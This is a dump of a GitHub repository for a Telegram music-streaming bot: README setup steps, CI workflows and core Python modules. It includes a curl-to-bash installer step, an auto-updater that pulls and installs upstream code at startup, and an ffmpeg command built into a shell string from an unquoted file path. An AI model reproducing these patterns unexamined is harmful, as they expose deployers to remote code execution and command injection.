Repository: WCGKING/BrandrdXMusic Branch: main Commit: 527814e6c945 Files: 165 Total size: 755.0 KB Directory structure: gitextract_xah1yoyr/ ├── .dockerignore ├── .github/ │ ├── README.md │ ├── SECURITY.md │ ├── dependabot.yml │ └── workflows/ │ ├── codeql.yml │ └── docker-image.yml ├── .gitignore ├── BrandrdXMusic/ │ ├── __init__.py │ ├── __main__.py │ ├── assets/ │ │ └── __init__.py │ ├── core/ │ │ ├── bot.py │ │ ├── call.py │ │ ├── dir.py │ │ ├── git.py │ │ ├── mongo.py │ │ └── userbot.py │ ├── logging.py │ ├── misc.py │ ├── mongo/ │ │ ├── afkdb.py │ │ ├── couples_db.py │ │ ├── filtersdb.py │ │ └── readable_time.py │ ├── platforms/ │ │ ├── Apple.py │ │ ├── Carbon.py │ │ ├── Resso.py │ │ ├── Soundcloud.py │ │ ├── Spotify.py │ │ ├── Telegram.py │ │ ├── Youtube.py │ │ ├── Youtube.txt │ │ └── __init__.py │ ├── plugins/ │ │ ├── __init__.py │ │ ├── admins/ │ │ │ ├── Sangmata.py │ │ │ ├── all_tag.py │ │ │ ├── assistant_tag.py │ │ │ ├── auth.py │ │ │ ├── callback.py │ │ │ ├── entag.py │ │ │ ├── font.py │ │ │ ├── gmtag.py │ │ │ ├── hitag.py │ │ │ ├── loop.py │ │ │ ├── pause.py │ │ │ ├── quiz.py │ │ │ ├── resume.py │ │ │ ├── seek.py │ │ │ ├── shayari.py │ │ │ ├── shuffle.py │ │ │ ├── skip.py │ │ │ ├── speed.py │ │ │ ├── stop.py │ │ │ ├── tagall.py │ │ │ └── utag.py │ │ ├── bot/ │ │ │ ├── afk.py │ │ │ ├── help.py │ │ │ ├── inline.py │ │ │ ├── lyrics.py │ │ │ ├── settings.py │ │ │ ├── songs.py │ │ │ └── start.py │ │ ├── misc/ │ │ │ ├── autoleave.py │ │ │ ├── broadcast.py │ │ │ ├── info.py │ │ │ ├── mongochk.py │ │ │ ├── seeker.py │ │ │ ├── truth_dare.py │ │ │ └── watcher.py │ │ ├── play/ │ │ │ ├── channel.py │ │ │ ├── live.py │ │ │ ├── play.py │ │ │ ├── playlist.py │ │ │ ├── playmode.py │ │ │ └── radio.py │ │ ├── sudo/ │ │ │ ├── autoend.py │ │ │ ├── blchat.py │ │ │ ├── block.py │ │ │ ├── gban.py │ │ │ ├── logger.py │ │ │ ├── maintenance.py │ │ │ ├── restart.py │ │ │ └── sudoers.py │ │ └── tools/ │ │ ├── active.py │ │ ├── alive.py │ │ ├── bot_left.py │ │ ├── bots.py │ │ ├── chatlog.py │ │ ├── couples.py │ │ ├── dev.py │ │ ├── font.py │ │ ├── google.py │ │ ├── id.py │ │ ├── ig.py │ │ ├── image.py │ │ ├── language.py │ │ ├── left.py │ │ ├── paste.py │ │ ├── ping.py │ │ ├── q.py │ │ ├── queue.py │ │ ├── reload.py │ │ ├── speedtest.py │ │ ├── stats.py │ │ ├── telegraph.py │ │ ├── tts.py │ │ ├── vctools.py │ │ ├── welcome.py │ │ └── zowner.py │ └── utils/ │ ├── __init__.py │ ├── admin_check.py │ ├── branded_ban.py │ ├── branded_font.py │ ├── channelplay.py │ ├── cmdforac.py │ ├── database.py │ ├── decorators/ │ │ ├── __init__.py │ │ ├── admins.py │ │ ├── language.py │ │ └── play.py │ ├── downloader.py │ ├── downloaders.py │ ├── errors.py │ ├── events.py │ ├── exceptions.py │ ├── extraction.py │ ├── filters_func.py │ ├── formatters.py │ ├── inline/ │ │ ├── __init__.py │ │ ├── extras.py │ │ ├── help.py │ │ ├── play.py │ │ ├── playlist.py │ │ ├── queue.py │ │ ├── settings.py │ │ ├── song.py │ │ ├── speed.py │ │ ├── start.py │ │ ├── stats.py │ │ └── sudolist.py │ ├── inlinequery.py │ ├── logger.py │ ├── mongo.py │ ├── pastebin.py │ ├── stream/ │ │ ├── autoclear.py │ │ ├── queue.py │ │ └── stream.py │ ├── stuffs/ │ │ ├── _init.py_ │ │ ├── buttons.py │ │ └── helper.py │ ├── sys.py │ └── thumbnails.py ├── Dockerfile ├── LICENSE ├── Procfile ├── app.json ├── config.py ├── cookies/ │ └── BrandedXMusic.txt ├── heroku.yml ├── requirements.txt ├── runtime.txt ├── sample.env ├── setup ├── start └── strings/ ├── __init__.py ├── helpers.py └── langs/ └── en.yml ================================================ FILE CONTENTS ================================================ ================================================ FILE: .dockerignore ================================================ .env .cache log.txt .DS_Store *.session raw_files/ cache/ downloads/ __pycache__/ *.session-journal ================================================ FILE: .github/README.md ================================================ ━━━━━━━━━━━━━━━━━━━━

──「⛦🦋 𝗕𝗥𝗔𝗡𝗗𝗥𝗗 ✘ 𝗠𝗨𝗦𝗜𝗖 🦋⛦」──

Stars License Python

━━━━━━━━━━━━━━━━━━━━

─「 ᴅᴇᴩʟᴏʏ ᴏɴ ʜᴇʀᴏᴋᴜ 」─

**𝙏𝙀𝙎𝙏 𝘽𝙊𝙏 ➣ [˹ꜱʏꜱᴛᴜᴍ ꭙ ᴍᴜꜱɪᴄ˼𓆩𔘓⃭𓆪](https://t.me/Systumm_music_bot)**

─「 ᴅᴇᴩʟᴏʏ ᴏɴ ʟᴏᴄᴀʟ ʜᴏsᴛ/ ᴠᴘs 」─

- Get your [Necessary Variables](https://github.com/WCGKING/BrandrdXMusic/blob/master/sample.env) --- ### 🔧 Quick Setup 1. **Upgrade & Update:** ```bash sudo apt-get update && sudo apt-get upgrade -y ``` 2. **Install Required Packages:** ```bash sudo apt-get install python3-pip ffmpeg -y ``` 3. **Setting up PIP** ```bash sudo pip3 install -U pip ``` 4. **Installing Node** ```bash curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.38.0/install.sh | bash && source ~/.bashrc && nvm install v18 ``` 5. **Clone the Repository** ```bash git clone https://github.com/WCGKING/BrandrdXMusic && cd BrandrdXMusic ``` 6. **Install Requirements** ```bash pip3 install -U -r requirements.txt ``` 7. **Create .env with sample.env** ```bash cp sample.env .env ``` - Edit .env with your vars 8. **Editing Vars:** ```bash vi .env ``` - Edit .env with your values. - Press `I` button on keyboard to start editing. - Press `Ctrl + C` once you are done with editing vars and type `:wq` to save .env or `:qa` to exit editing. 9. **Installing tmux** ```bash sudo apt install tmux -y && tmux ``` 10. **Run the Bot** ```bash bash start ━━━━━━━━━━━━━━━━━━━━

─「 sᴜᴩᴩᴏʀᴛ 」─

- _sᴩᴇᴄɪᴀʟ ᴛʜᴀɴᴋs ᴛᴏ [ᴛᴇᴀᴍ ʙʀᴀɴᴅᴇᴅ](https://github.com/WCGKING) ғᴏʀ [ʙʀᴀɴᴅᴇᴅ ᴍᴜsɪᴄ ʙᴏᴛ](https://t.me/BRANDED_PAID_CC)_ ================================================ FILE: .github/SECURITY.md ================================================ # Security Policy ## Supported Versions Use this section to tell people about which versions of your project are currently being supported with security updates. | Version | Supported | | ------- | ------------------ | | 5.1.x | :white_check_mark: | | 5.0.x | :x: | | 4.0.x | :white_check_mark: | | < 4.0 | :x: | ## Reporting a Vulnerability Use this section to tell people how to report a vulnerability. Tell them where to go, how often they can expect to get an update on a reported vulnerability, what to expect if the vulnerability is accepted or declined, etc. ================================================ FILE: .github/dependabot.yml ================================================ version: 2 updates: - package-ecosystem: pip directory: "/" schedule: interval: daily time: "00:00" timezone: "Asia/Kolkata" labels: - "dependencies" open-pull-requests-limit: 50 ================================================ FILE: .github/workflows/codeql.yml ================================================ # For most projects, this workflow file will not need changing; you simply need # to commit it to your repository. # # You may wish to alter this file to override the set of languages analyzed, # or to provide custom queries or build logic. # # ******** NOTE ******** # We have attempted to detect the languages in your repository. Please check # the `language` matrix defined below to confirm you have the correct set of # supported CodeQL languages. # name: "CodeQL" on: push: branches: [ "main" ] pull_request: branches: [ "main" ] schedule: - cron: '25 1 * * 5' jobs: analyze: name: Analyze # Runner size impacts CodeQL analysis time. To learn more, please see: # - https://gh.io/recommended-hardware-resources-for-running-codeql # - https://gh.io/supported-runners-and-hardware-resources # - https://gh.io/using-larger-runners # Consider using larger runners for possible analysis time improvements. runs-on: ${{ (matrix.language == 'swift' && 'macos-latest') || 'ubuntu-latest' }} timeout-minutes: ${{ (matrix.language == 'swift' && 120) || 360 }} permissions: actions: read contents: read security-events: write strategy: fail-fast: false matrix: language: [ 'python' ] # CodeQL supports [ 'c-cpp', 'csharp', 'go', 'java-kotlin', 'javascript-typescript', 'python', 'ruby', 'swift' ] # Use only 'java-kotlin' to analyze code written in Java, Kotlin or both # Use only 'javascript-typescript' to analyze code written in JavaScript, TypeScript or both # Learn more about CodeQL language support at https://aka.ms/codeql-docs/language-support steps: - name: Checkout repository uses: actions/checkout@v3 # Initializes the CodeQL tools for scanning. - name: Initialize CodeQL uses: github/codeql-action/init@v2 with: languages: ${{ matrix.language }} # If you wish to specify custom queries, you can do so here or in a config file. # By default, queries listed here will override any specified in a config file. # Prefix the list here with "+" to use these queries and those in the config file. # For more details on CodeQL's query packs, refer to: https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs # queries: security-extended,security-and-quality # Autobuild attempts to build any compiled languages (C/C++, C#, Go, Java, or Swift). # If this step fails, then you should remove it and run the build manually (see below) - name: Autobuild uses: github/codeql-action/autobuild@v2 # ℹ️ Command-line programs to run using the OS shell. # 📚 See https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun # If the Autobuild fails above, remove it and uncomment the following three lines. # modify them (or add more) to build your code if your project, please refer to the EXAMPLE below for guidance. # - run: | # echo "Run, Build Application using script" # ./location_of_script_within_repo/buildscript.sh - name: Perform CodeQL Analysis uses: github/codeql-action/analyze@v2 with: category: "/language:${{matrix.language}}" ================================================ FILE: .github/workflows/docker-image.yml ================================================ name: Docker Image CI on: push: branches: [ "main" ] pull_request: branches: [ "main" ] jobs: build: runs-on: ubuntu-latest steps: - uses: actions/checkout@v3 - name: Build the Docker image run: docker build . --file Dockerfile --tag my-image-name:$(date +%s) ================================================ FILE: .gitignore ================================================ .env .cache log.txt .DS_Store *.session raw_files/ cache/ downloads/ __pycache__/ *.session-journal ================================================ FILE: BrandrdXMusic/__init__.py ================================================ from BrandrdXMusic.core.bot import Hotty from BrandrdXMusic.core.dir import dirr from BrandrdXMusic.core.git import git from BrandrdXMusic.core.userbot import Userbot from BrandrdXMusic.misc import dbb, heroku from SafoneAPI import SafoneAPI from .logging import LOGGER dirr() git() dbb() heroku() app = Hotty() userbot = Userbot() api = SafoneAPI() from .platforms import * Apple = AppleAPI() Carbon = CarbonAPI() SoundCloud = SoundAPI() Spotify = SpotifyAPI() Resso = RessoAPI() Telegram = TeleAPI() YouTube = YouTubeAPI() APP = "Systumm_music_bot" # connect music api key "Dont change it" ================================================ FILE: BrandrdXMusic/__main__.py ================================================ import asyncio import importlib from sys import argv from pyrogram import idle from pytgcalls.exceptions import NoActiveGroupCall import config from BrandrdXMusic import LOGGER, app, userbot from BrandrdXMusic.core.call import Hotty from BrandrdXMusic.misc import sudo from BrandrdXMusic.plugins import ALL_MODULES from BrandrdXMusic.utils.database import get_banned_users, get_gbanned from config import BANNED_USERS async def init(): if ( not config.STRING1 and not config.STRING2 and not config.STRING3 and not config.STRING4 and not config.STRING5 ): LOGGER(__name__).error("Assistant client variables not defined, exiting...") exit() await sudo() try: users = await get_gbanned() for user_id in users: BANNED_USERS.add(user_id) users = await get_banned_users() for user_id in users: BANNED_USERS.add(user_id) except: pass await app.start() for all_module in ALL_MODULES: importlib.import_module("BrandrdXMusic.plugins" + all_module) LOGGER("BrandrdXMusic.plugins").info("Successfully Imported Modules...") await userbot.start() await Hotty.start() try: await Hotty.stream_call("https://graph.org/file/e999c40cb700e7c684b75.mp4") except NoActiveGroupCall: LOGGER("BrandrdXMusic").error( "Please turn on the videochat of your log group\channel.\n\nStopping Bot..." ) exit() except: pass await Hotty.decorators() LOGGER("BrandrdXMusic").info( "ᴅʀᴏᴘ ʏᴏᴜʀ ɢɪʀʟꜰʀɪᴇɴᴅ'ꜱ ɴᴜᴍʙᴇʀ ᴀᴛ @BRANDED_PAID_CC ᴊᴏɪɴ @BRANDRD_BOT , @BRANDED_WORLD ꜰᴏʀ ᴀɴʏ ɪꜱꜱᴜᴇꜱ" ) await idle() await app.stop() await userbot.stop() LOGGER("BrandrdXMusic").info("Stopping Brandrd Music Bot...") if __name__ == "__main__": asyncio.get_event_loop().run_until_complete(init()) ================================================ FILE: BrandrdXMusic/assets/__init__.py ================================================ ================================================ FILE: BrandrdXMusic/core/bot.py ================================================ from pyrogram import Client, errors from pyrogram.enums import ChatMemberStatus, ParseMode import config from ..logging import LOGGER class Hotty(Client): def __init__(self): LOGGER(__name__).info(f"Starting Bot...") super().__init__( name="BrandrdXMusic", api_id=config.API_ID, api_hash=config.API_HASH, bot_token=config.BOT_TOKEN, in_memory=True, max_concurrent_transmissions=7, ) async def start(self): await super().start() self.id = self.me.id self.name = self.me.first_name + " " + (self.me.last_name or "") self.username = self.me.username self.mention = self.me.mention try: await self.send_message( chat_id=config.LOGGER_ID, text=f"» {self.mention} ʙᴏᴛ sᴛᴀʀᴛᴇᴅ :\n\nɪᴅ : {self.id}\nɴᴀᴍᴇ : {self.name}\nᴜsᴇʀɴᴀᴍᴇ : @{self.username}", ) except (errors.ChannelInvalid, errors.PeerIdInvalid): LOGGER(__name__).error( "Bot has failed to access the log group/channel. Make sure that you have added your bot to your log group/channel." ) except Exception as ex: LOGGER(__name__).error( f"Bot has failed to access the log group/channel.\n Reason : {type(ex).__name__}." ) a = await self.get_chat_member(config.LOGGER_ID, self.id) if a.status != ChatMemberStatus.ADMINISTRATOR: LOGGER(__name__).error( "Please promote your bot as an admin in your log group/channel." ) LOGGER(__name__).info(f"Music Bot Started as {self.name}") async def stop(self): await super().stop() ================================================ FILE: BrandrdXMusic/core/call.py ================================================ import asyncio import os from datetime import datetime, timedelta from typing import Union from pyrogram import Client from pyrogram.types import InlineKeyboardMarkup from ntgcalls import TelegramServerError from pytgcalls import PyTgCalls from pytgcalls.exceptions import ( AlreadyJoinedError, NoActiveGroupCall, ) from pytgcalls.types import ( MediaStream, AudioQuality, VideoQuality, Update, ) from pytgcalls.types.stream import StreamAudioEnded import config from BrandrdXMusic import LOGGER, YouTube, app from BrandrdXMusic.misc import db from BrandrdXMusic.utils.database import ( add_active_chat, add_active_video_chat, get_lang, get_loop, group_assistant, is_autoend, music_on, remove_active_chat, remove_active_video_chat, set_loop, ) from BrandrdXMusic.utils.exceptions import AssistantErr from BrandrdXMusic.utils.formatters import check_duration, seconds_to_min, speed_converter from BrandrdXMusic.utils.inline.play import stream_markup from BrandrdXMusic.utils.stream.autoclear import auto_clean from BrandrdXMusic.utils.thumbnails import get_thumb from strings import get_string autoend = {} counter = {} loop = asyncio.get_event_loop_policy().get_event_loop() async def _clear_(chat_id): db[chat_id] = [] await remove_active_video_chat(chat_id) await remove_active_chat(chat_id) class Call(PyTgCalls): def __init__(self): self.userbot1 = Client( name="BrandrdXMusic1", api_id=config.API_ID, api_hash=config.API_HASH, session_string=str(config.STRING1), ) self.one = PyTgCalls( self.userbot1, cache_duration=100, ) self.userbot2 = Client( name="BrandrdXMusic2", api_id=config.API_ID, api_hash=config.API_HASH, session_string=str(config.STRING2), ) self.two = PyTgCalls( self.userbot2, cache_duration=100, ) self.userbot3 = Client( name="BrandrdXMusic3", api_id=config.API_ID, api_hash=config.API_HASH, session_string=str(config.STRING3), ) self.three = PyTgCalls( self.userbot3, cache_duration=100, ) self.userbot4 = Client( name="BrandrdXMusic4", api_id=config.API_ID, api_hash=config.API_HASH, session_string=str(config.STRING4), ) self.four = PyTgCalls( self.userbot4, cache_duration=100, ) self.userbot5 = Client( name="BrandrdXMusic5", api_id=config.API_ID, api_hash=config.API_HASH, session_string=str(config.STRING5), ) self.five = PyTgCalls( self.userbot5, cache_duration=100, ) async def pause_stream(self, chat_id: int): assistant = await group_assistant(self, chat_id) await assistant.pause_stream(chat_id) async def mute_stream(self, chat_id: int): assistant = await group_assistant(self, chat_id) await assistant.mute_stream(chat_id) async def unmute_stream(self, chat_id: int): assistant = await group_assistant(self, chat_id) await assistant.unmute_stream(chat_id) async def get_participant(self, chat_id: int): assistant = await group_assistant(self, chat_id) participant = await assistant.get_participants(chat_id) return participant async def resume_stream(self, chat_id: int): assistant = await group_assistant(self, chat_id) await assistant.resume_stream(chat_id) async def stop_stream(self, chat_id: int): assistant = await group_assistant(self, chat_id) try: await _clear_(chat_id) await assistant.leave_group_call(chat_id) except: pass async def stop_stream_force(self, chat_id: int): try: if config.STRING1: await self.one.leave_group_call(chat_id) except: pass try: if config.STRING2: await self.two.leave_group_call(chat_id) except: pass try: if config.STRING3: await self.three.leave_group_call(chat_id) except: pass try: if config.STRING4: await self.four.leave_group_call(chat_id) except: pass try: if config.STRING5: await self.five.leave_group_call(chat_id) except: pass try: await _clear_(chat_id) except: pass async def speedup_stream(self, chat_id: int, file_path, speed, playing): assistant = await group_assistant(self, chat_id) if str(speed) != "1.0": base = os.path.basename(file_path) chatdir = os.path.join(os.getcwd(), "playback", str(speed)) if not os.path.isdir(chatdir): os.makedirs(chatdir) out = os.path.join(chatdir, base) if not os.path.isfile(out): if str(speed) == "0.5": vs = 2.0 if str(speed) == "0.75": vs = 1.35 if str(speed) == "1.5": vs = 0.68 if str(speed) == "2.0": vs = 0.5 proc = await asyncio.create_subprocess_shell( cmd=( "ffmpeg " "-i " f"{file_path} " "-filter:v " f"setpts={vs}*PTS " "-filter:a " f"atempo={speed} " f"{out}" ), stdin=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE, ) await proc.communicate() else: out = file_path dur = await loop.run_in_executor(None, check_duration, out) dur = int(dur) played, con_seconds = speed_converter(playing[0]["played"], speed) duration = seconds_to_min(dur) stream = ( MediaStream( out, audio_parameters=AudioQuality.HIGH, video_parameters=VideoQuality.SD_480p, ffmpeg_parameters=f"-ss {played} -to {duration}", ) if playing[0]["streamtype"] == "video" else MediaStream( out, audio_parameters=AudioQuality.HIGH, ffmpeg_parameters=f"-ss {played} -to {duration}", video_flags=MediaStream.IGNORE, ) ) if str(db[chat_id][0]["file"]) == str(file_path): await assistant.change_stream(chat_id, stream) else: raise AssistantErr("Umm") if str(db[chat_id][0]["file"]) == str(file_path): exis = (playing[0]).get("old_dur") if not exis: db[chat_id][0]["old_dur"] = db[chat_id][0]["dur"] db[chat_id][0]["old_second"] = db[chat_id][0]["seconds"] db[chat_id][0]["played"] = con_seconds db[chat_id][0]["dur"] = duration db[chat_id][0]["seconds"] = dur db[chat_id][0]["speed_path"] = out db[chat_id][0]["speed"] = speed async def force_stop_stream(self, chat_id: int): assistant = await group_assistant(self, chat_id) try: check = db.get(chat_id) check.pop(0) except: pass await remove_active_video_chat(chat_id) await remove_active_chat(chat_id) try: await assistant.leave_group_call(chat_id) except: pass async def skip_stream( self, chat_id: int, link: str, video: Union[bool, str] = None, image: Union[bool, str] = None, ): assistant = await group_assistant(self, chat_id) if video: stream = MediaStream( link, audio_parameters=AudioQuality.HIGH, video_parameters=VideoQuality.SD_480p, ) else: stream = MediaStream( link, audio_parameters=AudioQuality.HIGH, video_flags=MediaStream.IGNORE, ) await assistant.change_stream( chat_id, stream, ) async def seek_stream(self, chat_id, file_path, to_seek, duration, mode): assistant = await group_assistant(self, chat_id) stream = ( MediaStream( file_path, audio_parameters=AudioQuality.HIGH, video_parameters=VideoQuality.SD_480p, ffmpeg_parameters=f"-ss {to_seek} -to {duration}", ) if mode == "video" else MediaStream( file_path, audio_parameters=AudioQuality.HIGH, ffmpeg_parameters=f"-ss {to_seek} -to {duration}", video_flags=MediaStream.IGNORE, ) ) await assistant.change_stream(chat_id, stream) async def stream_call(self, link): assistant = await group_assistant(self, config.LOGGER_ID) await assistant.join_group_call( config.LOGGER_ID, MediaStream(link), ) await asyncio.sleep(0.2) await assistant.leave_group_call(config.LOGGER_ID) async def join_call( self, chat_id: int, original_chat_id: int, link, video: Union[bool, str] = None, image: Union[bool, str] = None, ): assistant = await group_assistant(self, chat_id) language = await get_lang(chat_id) _ = get_string(language) if video: stream = MediaStream( link, audio_parameters=AudioQuality.HIGH, video_parameters=VideoQuality.SD_480p, ) else: stream = ( MediaStream( link, audio_parameters=AudioQuality.HIGH, video_parameters=VideoQuality.SD_480p, ) if video else MediaStream( link, audio_parameters=AudioQuality.HIGH, video_flags=MediaStream.IGNORE, ) ) try: await assistant.join_group_call( chat_id, stream, ) except NoActiveGroupCall: raise AssistantErr(_["call_8"]) except AlreadyJoinedError: raise AssistantErr(_["call_9"]) except TelegramServerError: raise AssistantErr(_["call_10"]) except Exception as e: if "phone.CreateGroupCall" in str(e): raise AssistantErr(_["call_8"]) await add_active_chat(chat_id) await music_on(chat_id) if video: await add_active_video_chat(chat_id) if await is_autoend(): counter[chat_id] = {} users = len(await assistant.get_participants(chat_id)) if users == 1: autoend[chat_id] = datetime.now() + timedelta(minutes=1) async def change_stream(self, client, chat_id): check = db.get(chat_id) popped = None loop = await get_loop(chat_id) try: if loop == 0: popped = check.pop(0) else: loop = loop - 1 await set_loop(chat_id, loop) await auto_clean(popped) if not check: await _clear_(chat_id) return await client.leave_group_call(chat_id) except: try: await _clear_(chat_id) return await client.leave_group_call(chat_id) except: return else: queued = check[0]["file"] language = await get_lang(chat_id) _ = get_string(language) title = (check[0]["title"]).title() user = check[0]["by"] original_chat_id = check[0]["chat_id"] streamtype = check[0]["streamtype"] videoid = check[0]["vidid"] db[chat_id][0]["played"] = 0 if exis := (check[0]).get("old_dur"): db[chat_id][0]["dur"] = exis db[chat_id][0]["seconds"] = check[0]["old_second"] db[chat_id][0]["speed_path"] = None db[chat_id][0]["speed"] = 1.0 video = str(streamtype) == "video" if "live_" in queued: n, link = await YouTube.video(videoid, True) if n == 0: return await app.send_message( original_chat_id, text=_["call_6"], ) if video: stream = MediaStream( link, audio_parameters=AudioQuality.HIGH, video_parameters=VideoQuality.SD_480p, ) else: stream = MediaStream( link, audio_parameters=AudioQuality.HIGH, video_flags=MediaStream.IGNORE, ) try: await client.change_stream(chat_id, stream) except Exception: return await app.send_message( original_chat_id, text=_["call_6"], ) img = await get_thumb(videoid) button = stream_markup2(_, chat_id) run = await app.send_photo( chat_id=original_chat_id, photo=img, caption=_["stream_1"].format( f"https://t.me/{app.username}?start=info_{videoid}", title[:23], check[0]["dur"], user, ), reply_markup=InlineKeyboardMarkup(button), ) db[chat_id][0]["mystic"] = run db[chat_id][0]["markup"] = "tg" elif "vid_" in queued: mystic = await app.send_message(original_chat_id, _["call_7"]) try: file_path, direct = await YouTube.download( videoid, mystic, videoid=True, video=str(streamtype) == "video", ) except: return await mystic.edit_text( _["call_6"], disable_web_page_preview=True ) if video: stream = MediaStream( file_path, audio_parameters=AudioQuality.HIGH, video_parameters=VideoQuality.SD_480p, ) else: stream = MediaStream( file_path, audio_parameters=AudioQuality.HIGH, video_flags=MediaStream.IGNORE, ) try: await client.change_stream(chat_id, stream) except: return await app.send_message( original_chat_id, text=_["call_6"], ) img = await get_thumb(videoid) button = stream_markup(_, videoid, chat_id) await mystic.delete() run = await app.send_photo( chat_id=original_chat_id, photo=img, caption=_["stream_1"].format( f"https://t.me/{app.username}?start=info_{videoid}", title[:23], check[0]["dur"], user, ), reply_markup=InlineKeyboardMarkup(button), ) db[chat_id][0]["mystic"] = run db[chat_id][0]["markup"] = "stream" elif "index_" in queued: stream = ( MediaStream( videoid, audio_parameters=AudioQuality.HIGH, video_parameters=VideoQuality.SD_480p, ) if str(streamtype) == "video" else MediaStream( videoid, audio_parameters=AudioQuality.HIGH, video_flags=MediaStream.IGNORE, ) ) try: await client.change_stream(chat_id, stream) except: return await app.send_message( original_chat_id, text=_["call_6"], ) button = stream_markup2(_, chat_id) run = await app.send_photo( chat_id=original_chat_id, photo=config.STREAM_IMG_URL, caption=_["stream_2"].format(user), reply_markup=InlineKeyboardMarkup(button), ) db[chat_id][0]["mystic"] = run db[chat_id][0]["markup"] = "tg" else: if video: stream = MediaStream( queued, audio_parameters=AudioQuality.HIGH, video_parameters=VideoQuality.SD_480p, ) else: stream = MediaStream( queued, audio_parameters=AudioQuality.HIGH, video_flags=MediaStream.IGNORE, ) try: await client.change_stream(chat_id, stream) except: return await app.send_message( original_chat_id, text=_["call_6"], ) if videoid == "telegram": button = stream_markup2(_, chat_id) run = await app.send_photo( chat_id=original_chat_id, photo=( config.TELEGRAM_AUDIO_URL if str(streamtype) == "audio" else config.TELEGRAM_VIDEO_URL ), caption=_["stream_1"].format( config.SUPPORT_CHAT, title[:23], check[0]["dur"], user ), reply_markup=InlineKeyboardMarkup(button), ) db[chat_id][0]["mystic"] = run db[chat_id][0]["markup"] = "tg" elif videoid == "soundcloud": button = stream_markup2(_, chat_id) run = await app.send_photo( chat_id=original_chat_id, photo=config.SOUNCLOUD_IMG_URL, caption=_["stream_1"].format( config.SUPPORT_CHAT, title[:23], check[0]["dur"], user ), reply_markup=InlineKeyboardMarkup(button), ) db[chat_id][0]["mystic"] = run db[chat_id][0]["markup"] = "tg" else: img = await get_thumb(videoid) button = stream_markup(_, videoid, chat_id) run = await app.send_photo( chat_id=original_chat_id, photo=img, caption=_["stream_1"].format( f"https://t.me/{app.username}?start=info_{videoid}", title[:23], check[0]["dur"], user, ), reply_markup=InlineKeyboardMarkup(button), ) db[chat_id][0]["mystic"] = run db[chat_id][0]["markup"] = "stream" async def ping(self): pings = [] if config.STRING1: pings.append(await self.one.ping) if config.STRING2: pings.append(await self.two.ping) if config.STRING3: pings.append(await self.three.ping) if config.STRING4: pings.append(await self.four.ping) if config.STRING5: pings.append(await self.five.ping) return str(round(sum(pings) / len(pings), 3)) async def start(self): LOGGER(__name__).info("Starting PyTgCalls Client...\n") if config.STRING1: await self.one.start() if config.STRING2: await self.two.start() if config.STRING3: await self.three.start() if config.STRING4: await self.four.start() if config.STRING5: await self.five.start() async def decorators(self): @self.one.on_kicked() @self.two.on_kicked() @self.three.on_kicked() @self.four.on_kicked() @self.five.on_kicked() @self.one.on_closed_voice_chat() @self.two.on_closed_voice_chat() @self.three.on_closed_voice_chat() @self.four.on_closed_voice_chat() @self.five.on_closed_voice_chat() @self.one.on_left() @self.two.on_left() @self.three.on_left() @self.four.on_left() @self.five.on_left() async def stream_services_handler(_, chat_id: int): await self.stop_stream(chat_id) @self.one.on_stream_end() @self.two.on_stream_end() @self.three.on_stream_end() @self.four.on_stream_end() @self.five.on_stream_end() async def stream_end_handler(client, update: Update): if not isinstance(update, StreamAudioEnded): return await self.change_stream(client, update.chat_id) Hotty = Call() ================================================ FILE: BrandrdXMusic/core/dir.py ================================================ import os from ..logging import LOGGER def dirr(): for file in os.listdir(): if file.endswith(".jpg"): os.remove(file) elif file.endswith(".jpeg"): os.remove(file) elif file.endswith(".png"): os.remove(file) if "downloads" not in os.listdir(): os.mkdir("downloads") if "cache" not in os.listdir(): os.mkdir("cache") LOGGER(__name__).info("Directories Updated.") ================================================ FILE: BrandrdXMusic/core/git.py ================================================ import asyncio import shlex from typing import Tuple from git import Repo from git.exc import GitCommandError, InvalidGitRepositoryError import config from ..logging import LOGGER def install_req(cmd: str) -> Tuple[str, str, int, int]: async def install_requirements(): args = shlex.split(cmd) process = await asyncio.create_subprocess_exec( *args, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE, ) stdout, stderr = await process.communicate() return ( stdout.decode("utf-8", "replace").strip(), stderr.decode("utf-8", "replace").strip(), process.returncode, process.pid, ) return asyncio.get_event_loop().run_until_complete(install_requirements()) def git(): REPO_LINK = config.UPSTREAM_REPO if config.GIT_TOKEN: GIT_USERNAME = REPO_LINK.split("com/")[1].split("/")[0] TEMP_REPO = REPO_LINK.split("https://")[1] UPSTREAM_REPO = f"https://{GIT_USERNAME}:{config.GIT_TOKEN}@{TEMP_REPO}" else: UPSTREAM_REPO = config.UPSTREAM_REPO try: repo = Repo() LOGGER(__name__).info(f"Git Client Found [VPS DEPLOYER]") except GitCommandError: LOGGER(__name__).info(f"Invalid Git Command") except InvalidGitRepositoryError: repo = Repo.init() if "origin" in repo.remotes: origin = repo.remote("origin") else: origin = repo.create_remote("origin", UPSTREAM_REPO) origin.fetch() repo.create_head( config.UPSTREAM_BRANCH, origin.refs[config.UPSTREAM_BRANCH], ) repo.heads[config.UPSTREAM_BRANCH].set_tracking_branch( origin.refs[config.UPSTREAM_BRANCH] ) repo.heads[config.UPSTREAM_BRANCH].checkout(True) try: repo.create_remote("origin", config.UPSTREAM_REPO) except BaseException: pass nrs = repo.remote("origin") nrs.fetch(config.UPSTREAM_BRANCH) try: nrs.pull(config.UPSTREAM_BRANCH) except GitCommandError: repo.git.reset("--hard", "FETCH_HEAD") install_req("pip3 install --no-cache-dir -r requirements.txt") LOGGER(__name__).info(f"Fetching updates from upstream repository...") ================================================ FILE: BrandrdXMusic/core/mongo.py ================================================ from motor.motor_asyncio import AsyncIOMotorClient as _mongo_client_ from pymongo import MongoClient from pyrogram import Client import config from ..logging import LOGGER TEMP_MONGODB = "" if config.MONGO_DB_URI is None: LOGGER(__name__).warning("No MONGO DB URL found. LOL") temp_client = Client( "BrandrdXMusic", bot_token=config.BOT_TOKEN, api_id=config.API_ID, api_hash=config.API_HASH, ) temp_client.start() info = temp_client.get_me() username = info.username temp_client.stop() _mongo_async_ = _mongo_client_(TEMP_MONGODB) _mongo_sync_ = MongoClient(TEMP_MONGODB) mongodb = _mongo_async_[username] pymongodb = _mongo_sync_[username] else: _mongo_async_ = _mongo_client_(config.MONGO_DB_URI) _mongo_sync_ = MongoClient(config.MONGO_DB_URI) mongodb = _mongo_async_.BrandrdXMusic pymongodb = _mongo_sync_.BrandrdXMusic ================================================ FILE: 